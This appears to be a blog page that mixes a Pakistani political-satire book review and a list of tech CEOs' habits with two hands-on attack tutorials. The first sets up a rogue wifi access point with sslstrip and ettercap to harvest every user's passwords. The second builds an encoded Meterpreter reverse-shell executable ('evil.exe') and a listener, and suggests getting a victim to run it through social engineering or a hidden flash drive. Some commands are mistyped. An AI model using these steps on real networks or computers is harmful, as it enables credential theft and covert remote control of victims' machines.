DIARY OF A SOCIAL BUTTERFLY

BOOK depicting the situation in Pakistani politics in a hilarious manner: DIARY OF A SOCIAL BUTTERFLY by MONI MOHSIN. THIS book takes reader where the political infernos not only look like a place where KARACHI WALLAHS are not even interested in attending a JALSA of PTI. The book has the language that captivates the Pakistani youth who have been much exhausted by the melodramas of politicians. The so-called social butterfly is so social that people doesn't even care that she is SOCIAL. However she manages to overcome this situation as we all should(sometimes not:-)). This book is way hilarious than all the books concerning politics and editorials and columns that you all would have read. So go for it if DHARNA is pestering you.IT is irreverent and classy in its own way

Read More

Capturing All passwords and usernames on a wifi network

Capturing All passwords and usernames on a wifi network

In this tutorial we will be doing a MITM attack via a Fake Access Point

That's what Wikipedia says: A rogue access point is a wireless acces point that has either been installed on a secure company network without explicit authorization from a local network administrator, or has been created to allow a hacker to conduct a man-in-the-middle-attack .

Basically a Rogue Ap is a fake Ap which you can use to do MiTM attacks. if you don't know what is an MITM attack, even after the thousands of post,

This method uses a dhcp server. There are other methods which I will cover in another tutorial.

So let's start.

What do you need?

1. Either a VM running Kali or a PC/Laptop running it

2. 2x Network adapter (or a wired connection)

3. one of them must support both, monitor and master mode

What do you need to do?

Configure the DHCP Server

1. Open terminal

2. route -n (note Gateway I'll assume the GW is 192.168.0.1)

3. apt-get install dhcp3-server (install the dhcp3 server)

4. nano /etc/dhcpd.conf (configure the dhcp serv)

5. type or paste the following into your .conf

authorative;

default-lease-time 600;

max-lease-time 7200;

subnet 192.168.1.0 netmask 255.255.255.0 {

option routers 192.168.1.1;

option subnet-mask 255.255.255.0;

option domain-name "name you want the router to be called"

option domain-name-servers 192.168.1.1;

ranger 192.168.1.2 192.168.1.40;

}

6. Hit ctrl+x then y then enter (save the file)

Start the AP

1. airmon-ng (check Net.Adap. will asume it's wlan0)

2. airmon-ng start wlan0 (start the mon mode = mon0)

3. airbase-ng -c 11 -e "name you want it to be called" mon0

4. DON'T CLOSE THE TERMINAL

Configure the Tunnel Interface

1. Open Terminal.

2. ifconfig at0 192.168.1.1 netmask 255.255.255.0 (set ip and netmask)

3. ifconfig at0 mtu 1400 (set MTU)

4. route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 (add routing table)

5. echo 1 </procs/sys/net/ipv4/ip_forward (enable IP forwarding)

6. iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1 (entering iptables rules)

7. iptables -P FORWARD ACCEPT (accept forwarding)

8. iptabels --append FORWARD --in-interface at0 -j ACCEPT

9. iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE

10. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to- port 10000

Start DHCP Server

1. dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0

2. /etc/init.d/isc-dhcp-server start

Starting SSL Strip

1. sslstrip -f -p -k 10000

2. DON'T CLOSE TERMINAL

Harvest

1. Open terminal

2. ettercap -p -u -T -q -i at0 (start ettercap)

Congrats! If you have't run into any errors you should be able to get all user/pass that are beeing sent over the AP.

Read More

Metasploit Payload

Metasploit Payload:

What exactly is metasploit?

Metasploit is a framework used for storing, deploying, and creating exploits. An exploit is a piece of code which can interact with other programs to let the attacker (you) execute bits of code on the victims computer. It also has a wonderful tool known as msfpayload.

What is msfpayload?

msf payload is used in conjunction with msfcli and msfenocde. Together, they are a set of tools which creates a file that connects back to your computer, encodes the file, and sets up a listener for said file. This method completely bypasses the need for exploits, but requires social engineering skills to somehow get your file on their computer and for them to execute it. (or just sneak a flash drive in while their not looking and execute it for them, but I don't recommend that.) Sounds great right? so how do you do it?

||Tutorial starts here||

I will be using Backtrack 5 R3, and using msfconsole.

To start it off, update msf by starting a terminal and running "msfupdate". It will say "Updated to revision #####" when finished.

Now execute "msfconsole" (which will take a few moments to load.

After it shows the msf banner, it will give you the msf prompt "<u>msf</u> >.

Type "show payloads". This gives you a list of all the payloads available. We are going to use windows/meterpreter/reverse_tcp

Type "use windows/meterpreter/reverse_tcp" and it will bring you into that module. type "info" to see what options are required and other useful information.

We see that there are three options needed, EXITFUNC, LHOST, and LPORT. EXITFUNC is just how the program will show up on windows, don't really need to care about that. LHOST is your IP address, so the program will know where to connect back to, and LPORT is the port it will connect back on. EXITFUNC and LPORT already have default values placed in them, which work fine and we don't need to change.

LHOST on the other hand, does need an option. This is your IP address. If you are performing this over a LAN network, then you just need your LAN IP, such as 192.168.2.5. If you are performing this over WAN, use your WAN address and have correct port forwarding (and pray nobody traces it back to you). We set LHOST by typing "set LHOST 192.168.2.5". If we run "info" again it shows our LHOST as the ip we put in.

So with all that in order, now we just type "generate -e x86/shikata_ga_nai -i 30 -t exe -f evil.exe" which will create the file in your Home folder. Take that file, and copy it on to a flash drive.

Now for the second part (much quicker then the first). Go back to your terminal and type "back", to be brought back to the main msf menu.

We are going to use the handler to listen for connections, so type "use exploit/multi/handler" to set the module.

Now to set the options, type exactly in the following in order:

set PAYLOAD windows/meterpreter/reverse_tcp (the payload we generated earlier)

set LHOST 192.168.2.5 (your ip address, whatever that may be)

set LPORT 4444 (the default port)

exploit

and the handler is started. When somebody executes that file we made earlier, it connects back to your computer, and the listener we just created handles that connect back. When somebody executes it, you will have a session created. Just type "sessions 1" and you will connect.

Read More

5 Offbeat Habits Of The Biggest Tech CEOs Of The World!

5 Offbeat Habits Of The Biggest Tech CEO's Of The World!

1. Mark Zuckerberg, CEO, Facebook

CEO of Facebook, Mark Zuckerberg keeps 20 identical grey T-shirts to be worn on five days of the week. He wears it with a pair of blue jeans, thongs or trainers. Reportedly every year Zuckerberg sets a kind of challenge for himself, like in 2009, he decided to wear a tie to work every day. In 2010, he learnt Mandarin. In 2011, he decided that he will eat animals, only if he will kill them himself that apparently led to him in becoming somewhat a vegetarian.

2. Steve Jobs, co-founder, Apple

All big people have great stories behind. Apple's late CEO of Steve Jobs had over 100 Issey Miyake designed black turtleneck sweaters and jeans so he never wasted time on thinking what to wear. He thought this would help him focus on the more important things, instead.

3. Jack Dorsey, co-founder, Twitter

We have been taught since our very childhood to plan and divide days of the week for specific tasks. And Jack Dorsey is an example how planning works. Dorsey has divided each day of the week for separate tasks. Mondays are for Management meets; Tuesdays for Product development; Wednesdays for Marketing and communications; Thursdays for Developers and partnerships; Fridays for Discussing the company’s culture; Saturdays for Hiking; Sunday for sauna baths that he takes regularly. His Sunday ritual is 1. Dry sauna. 2. Cold dip. 3. Repeat.

4. David Karp, co-founder, Tumbler

David Karp, the co-founder of Tumbler apparently takes the exact same breakfast every morning i.e. pancakes, eggs Florentine, avocado and bacon. Also every weekend David visits, Cafe Mortgagor in East Village, New York, with his girlfriend, Rachel, which is his favorite place to have brunch.

5. Alexis Ohanian, co-founder, Reddit

30-year old Alexis Ohanian who is best known for co-founding the social news website Reddit in 2005, now has at least 50 other start-ups added in his portfolio. So what is his mantra for success? Every morning he writes down three biggest tasks to be done during the day. And then, “Do them, feel good. Repeat the next day.

Read More